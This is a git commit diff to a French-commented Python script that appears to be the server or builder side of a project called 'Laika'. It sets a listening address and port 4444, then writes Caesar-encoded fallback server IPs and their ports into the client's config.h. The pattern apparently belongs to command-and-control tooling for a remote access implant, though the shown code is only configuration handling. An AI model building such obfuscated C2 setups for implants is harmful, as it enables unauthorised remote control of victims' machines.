fix: fallback_server oob, connection refused, add: port to config
This commit is contained in:
@@ -6,8 +6,8 @@ import os, sys, time
|
|||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
|
|
||||||
ADRESSE = socket.gethostname()
|
ADRESSE = "192.168.1.35"#socket.gethostname()
|
||||||
PORT = 1337
|
PORT = 4444
|
||||||
CONNECT_CLIENTS = [] #liste des sockets ouverts
|
CONNECT_CLIENTS = [] #liste des sockets ouverts
|
||||||
THREAD_LIST = [] #tout les threads
|
THREAD_LIST = [] #tout les threads
|
||||||
CAESAR_KEY = 5
|
CAESAR_KEY = 5
|
||||||
@@ -149,20 +149,27 @@ def main() -> None :
|
|||||||
print(f"\"{nb_fallbacks}\" n'est pas un nombre valide.")
|
print(f"\"{nb_fallbacks}\" n'est pas un nombre valide.")
|
||||||
continue
|
continue
|
||||||
|
|
||||||
ips = []
|
ips = {}
|
||||||
for i in range(1, int(nb_fallbacks)+1) :
|
for i in range(1, int(nb_fallbacks)+1) :
|
||||||
while True :
|
while True :
|
||||||
s_ip = input(f"IP du serveur {i} : ")
|
s_ip = input(f"IP du serveur {i} : ")
|
||||||
if "." in s_ip : #technique de shlag mais un nom de domaine peut pas être vérifié avec socket du coup on check juste le "."
|
if "." in s_ip : #technique de shlag mais un nom de domaine peut pas être vérifié avec socket du coup on check juste le "."
|
||||||
ips.append(CAESAR(s_ip))
|
s_port = input(f"Port du serveur {i} : ")
|
||||||
|
ips[CAESAR(s_ip)] = int(s_port)
|
||||||
break
|
break
|
||||||
|
|
||||||
print("")
|
print("")
|
||||||
print("Écriture de la config...")
|
print("Écriture de la config...")
|
||||||
with open("../Laika/config.h", "w") as config :
|
with open("../Laika/config.h", "w") as config :
|
||||||
|
config.write(f"#define FALLBACK_SERVERS {nb_fallbacks}\n\n")
|
||||||
config.write("char* fallback_servers["+nb_fallbacks+"] = {\n")
|
config.write("char* fallback_servers["+nb_fallbacks+"] = {\n")
|
||||||
for ip in ips :
|
for ip in ips.keys() :
|
||||||
config.write(f"\t\"{ip}\",\n")
|
config.write(f"\t\"{ip}\",\n")
|
||||||
|
config.write("};\n\n")
|
||||||
|
|
||||||
|
config.write("int fallback_servers_ip["+nb_fallbacks+"] = {\n")
|
||||||
|
for port in ips.values() :
|
||||||
|
config.write(f"\t{port},\n")
|
||||||
config.write("};")
|
config.write("};")
|
||||||
print("Config écrite")
|
print("Config écrite")
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user